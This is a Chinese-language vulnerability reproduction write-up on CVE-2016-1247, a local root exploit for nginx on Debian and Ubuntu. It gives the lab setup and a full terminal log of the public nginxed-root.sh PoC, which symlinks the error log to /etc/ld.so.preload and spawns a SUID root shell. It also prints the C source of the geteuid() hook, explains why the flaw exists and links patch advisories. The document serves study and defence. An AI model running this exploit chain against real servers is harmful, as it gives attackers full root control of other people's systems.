前言
- Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,并在一个BSD-like 协议下发行。由俄罗斯的程序设计师Igor Sysoev所开发,其特点是占有内存少,并发能力强。长期以来,它一直在许多负载很重的俄罗斯网站上运行,包括Yandex,Mail.Ru,VK和Rambler。根据Netcraft的数据,nginx在2016年10月服务或代理了27.80%最繁忙的网站。
- Debian、Ubuntu发行版的Nginx在新建日志目录的时,使用了不安全的权限,因此本地恶意攻击者可以从nginx/web用户权限(www-data)提升到ROOT。
- 11月15日,国外安全研究员 Dawid Golunski 公开了一个新的Nginx漏洞(CVE-2016-1247),能够影响基于 Debian 系列的发行版,Nginx 作为目前主流的一个多用途服务器,因而其危害还是比较严重的,官方对此漏洞已经进行了修复。
- 下述版本之前均存在此漏洞:
Debian: Nginx1.6.2-5+deb8u3
Ubuntu 16.04: Nginx1.10.0-0ubuntu0.16.04.3
Ubuntu 14.04: Nginx1.4.6-1ubuntu3.6
Ubuntu 16.10: Nginx1.10.1-0ubuntu1.1 - 漏洞所属类型:提权
- 漏洞CVE号:CVE-2016-1247
背景知识
Nginx
- Nginx是一个高性能的HTTP和反向代理服务器,也是一个IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布,因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。2011年6月1日,nginx 1.0.4发布。 Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,并在一个BSD-like 协议下发行。由俄罗斯的程序设计师Igor Sysoev所开发,其特点是占有内存少,并发能力强。
环境清单
- 系统版本: Ubuntu 14.04.6 LTS
- 发行版名称: Linux ubuntu 4.4.0-142-generic
- nginx版本: nginx/1.4.6.1 (Ubuntu)
- 镜像下载地址:ubuntu-14.04.6-desktop-amd64.iso
- 虚拟机软件:VMware Workstation 16 Pro 16.1.1 build-17801498
漏洞复现
环境搭建
-
测试环境:
- Ubuntu 14.04
- Nginx1.4.6-1ubuntu3
-
PoC详见如下链接,给出的 nginxed-root.sh 脚本在其中的第V部分:
https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
按如下安装步骤安装nginx
sudo apt-get install nginx-common=1.4.6-1ubuntu3
sudo apt-get install nginx-full=1.4.6-1ubuntu3
sudo apt-get install nginx=1.4.6-1ubuntu3
查看现有nginx版本
xx@xx-virtual-machine:~$ dpkg -l |grep nginx
ii nginx 1.4.6-1ubuntu3 all small, powerful, scalable web/proxy server
ii nginx-common 1.4.6-1ubuntu3 all small, powerful, scalable web/proxy server - common files
ii nginx-full 1.4.6-1ubuntu3 amd64 nginx web/proxy server (standard version)
查看文件夹权限
www-data@xx-virtual-machine:/home/xx/Desktop$ ls -ld /var/log/nginx
drwxr-x--- 2 www-data adm 4096 6月 29 18:48 /var/log/nginx
# 属于www-data用户 说明没有补丁
复现过程
# nginx运行
xx@xx-virtual-machine:~/Desktop$ sudo nginx
xx@xx-virtual-machine:~/Desktop$ ps -A |grep nginx
3214 ? 00:00:00 nginx
3215 ? 00:00:00 nginx
3216 ? 00:00:00 nginx
3217 ? 00:00:00 nginx
3218 ? 00:00:00 nginx
xx@xx-virtual-machine:~/Desktop$
# 查看log/nginx文件夹下文件权限。
root@xx-virtual-machine:/home/xx/Desktop# cd /var/log/nginx
root@xx-virtual-machine:/var/log/nginx# ll
total 12
drwxr-x--- 2 www-data adm 4096 6月 29 18:48 ./
drwxrwxr-x 14 root syslog 4096 6月 29 18:47 ../
-rw-r--r-- 1 root root 0 6月 29 18:48 access.log
-rw-r--r-- 1 root root 3956 6月 29 19:35 error.log
# error.log是root用户并且属于root用户组的。
# 若是属于www-data用户的话,可以先kill掉nginx,然后删除nginx文件夹下的所有文件;然后重启nginx即可。
因此是no-login状态,所以不能直接切换,需要修改。
root@xx-virtual-machine:/var/log/nginx# gedit /etc/passwd
### to /bin/bash
www-data:x:33:33:www-data:/var/www:/bin/bash
切换用户
root@xx-virtual-machine:/var/log/nginx# su www-data
www-data@xx-virtual-machine:/var/log/nginx$
root@xx-virtual-machine:/home/xx/Desktop# ./nginxed-root.sh /var/log/nginx/error.log
bash: ./nginxed-root.sh: Permission denied
root@xx-virtual-machine:/home/xx/Desktop# chmod 777 ./nginxed-root.sh
root@xx-virtual-machine:/home/xx/Desktop# su www-data
www-data@xx-virtual-machine:/home/xx/Desktop$ ./nginxed-root.sh /var/log/nginx/error.log
_______________________________
< Is your server (N)jinxed ? ;o >
-------------------------------
\
\ __---__
_- /--______
__--( / \ )XXXXXXXXXXX\v.
.-XXX( O O )XXXXXXXXXXXXXXX-
/XXX( U ) XXXXXXX\
/XXXXX( )--_ XXXXXXXXXXX\
/XXXXX/ ( O ) XXXXXX \XXXXX\
XXXXX/ / XXXXXX \__ \XXXXX
XXXXXX__/ XXXXXX \__---->
---___ XXX__/ XXXXXX \__ /
\- --__/ ___/\ XXXXXX / ___--/=
\-\ ___/ XXXXXX '--- XXXXXX
\-\/XXX\ XXXXXX /XXXXX
\XXXXXXXXX \ /XXXXX/
\XXXXXX > _/XXXXX/
\XXXXX--__/ __-- XXXX/
-XXXXXXXX--------------- XXXXXX-
\XXXXXXXXXXXXXXXXXXXXXXXXXX/
""VXXXXXXXXXXXXXXXXXXV""
Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247)
nginxed-root.sh (ver. 1.0)
Discovered and coded by:
Dawid Golunski
https://legalhackers.com
[+] Starting the exploit as:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Compiling the privesc shared library (/tmp/privesclib.c)
[+] Backdoor/low-priv shell installed at:
-rwxr-xr-x 1 www-data www-data 1021112 6月 29 19:47 /tmp/nginxrootsh
[+] The server appears to be (N)jinxed (writable logdir) ! :) Symlink created at:
lrwxrwxrwx 1 www-data www-data 18 6月 29 19:47 /var/log/nginx/error.log -> /etc/ld.so.preload
[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am...
logrotation脚本会在corn中每天6:25AM自动调用,因此如果/etc/logrotate.d/nginx已经设置了’daily’日志回滚,攻击者将在不需要任何系统管理员交互的情况下,在24小时内实现提权到ROOT
打开一个新的终端,切换至root权限下,强制log回滚
root@xx-virtual-machine:/home/xx# /usr/sbin/logrotate -vf /etc/logrotate.d/nginxreading config file /etc/logrotate.d/nginx
Handling 1 logs
拿到root权限
[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges:
-rw-r--r-- 1 www-data root 19 6月 29 19:52 /etc/ld.so.preload
[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload
[+] The /etc/ld.so.preload file now contains:
/tmp/privesclib.so
[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
-rwsrwxrwx 1 root root 1021112 6月 29 19:47 /tmp/nginxrootsh
[+] Rootshell got assigned root SUID perms at:
-rwsrwxrwx 1 root root 1021112 6月 29 19:47 /tmp/nginxrootsh
The server is (N)jinxed ! ;) Got root via Nginx!
[+] Spawning the rootshell /tmp/nginxrootsh now!
nginxrootsh-4.3# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
nginxrootsh-4.3# whoami
root
漏洞分析
成因分析
产生原因:Nginx在创建log目录时使用了不安全的权限配置,可造成本地权限的提升,攻击手法主要通过从www-data权限向root用户权限提权得到。
本漏洞主要利用hook操作改变程序流程,实现所需操作,从而间接实现对函数功能的修改。
一般来说,如果想要修改函数的功能,最直接的就是对其源码进行更改,但很多情况下我们是无法达成此目标的,这时就可以借助一些hook操作来改变程序的流程,从而实现对函数的修改。在 Linux 系统下,我们可以通过编译一个含相同函数定义的 so 文件并借助/etc/ld.so.preload文件来完成此操作,系统的 loader 代码中会检查是否存在/etc/ld.so.preload 文件,如果存在那么就会加载其中列出的所有 so 文件,它能够实现与 LD_PRELOAD 环境变量相同的功能且限制更少,以此来调用我们定义的函数而非原函数。此方法适用于用户空间的so文件劫持,类似于 Windows 下的 DLL 劫持技术。更进一步,如果我们将此技巧与含有suid的文件结合起来,那么就可以很自然的实现提权操作了,所给的 PoC 就是利用的这个技巧。
关于 hook 操作,简单来看就是如下的一个执行流程:
在 PoC 利用中与此相关的 C 代码如下所示,如果将其编译成so文件并把路径写入到/etc/ld.so.preload文件的话,那么可以实现对 geteuid()函数的 hook,在 hook 调用中就能执行我们想要的恶意操作。
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
/*hook原geteuid()函数*/
uid_t geteuid(void) {
//定义函数指针变量
static uid_t (*old_geteuid)();
//返回原geteuid()函数的指针
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
//在调用原geteuid()函数的同时执行想要的恶意操作
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
我们可以将上述代码编译后来做个简单的测试,结果如下图,观察 nginxrootsh 文件前后属性的变化以及/etc/ld.so.preload文件存在与否可以判断我们的恶意操作是否执行了,很显然 hook 是成功的,和 PoC 相同这里也是通过sudo来触发hook调用。
exp分析
本利用代码中,将内容写进/etc/ld.so.preload文件,也就是本次漏洞的所在,Nginx 在配置 log 文件时采用的不安全权限设置使得我们能很容易的实现此目的,从而实现 www-data 到 root 的权限提升。首先将目录/var/log/nginx/下的文件全部删除,再重启下 nginx 服务,最后执行如下两条命令:
$ curl http://localhost/ >/dev/null 2>/dev/null
$ /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
此时得到的结果如下图所示:
可以看到 error.log 文件的属性为:
-rw-r--r-- 1 www-data root 0 Nov 18 14:49 error.log
然后将其软链接到/etc/ld.so.preload 文件就可以了,这里简单测试,将其软链接到/etc/xxxxxxxxxx,同样需要上述那两条触发命令。从上图中我们看到了成功结果,此时 www-data 用户是可以对/etc/xxxxxxxxxx文件进行写操作的。
至此,我们将这些点结合起来就可以实现对此漏洞的利用了。
漏洞修复
Nginx官方已经修复,用户应尽快更新至最新版本。
详细信息:
-
Debian 系统
-
https://www.debian.org/security/2016/dsa-3701
-
https://security-tracker.debian.org/tracker/CVE-2016-1247
-
-
Ubuntu 系统
- https://www.ubuntu.com/usn/usn-3114-1/
总结
在基于Debian的发行版(如Debian或Ubuntu)上发现Nginx Web服务器打包可以创建具有不安全权限的日志目录,恶意的本地攻击者可以利用这些目录将其权限从nginx /Web用户(www-data)升级到root。
攻击者很容易利用该漏洞,他们设法破坏了Nginx服务器上托管的Web应用程序并获得了对www-data帐户的访问权限,因为它将允许他们进一步将其权限升级到root访问权限并完全损害系统。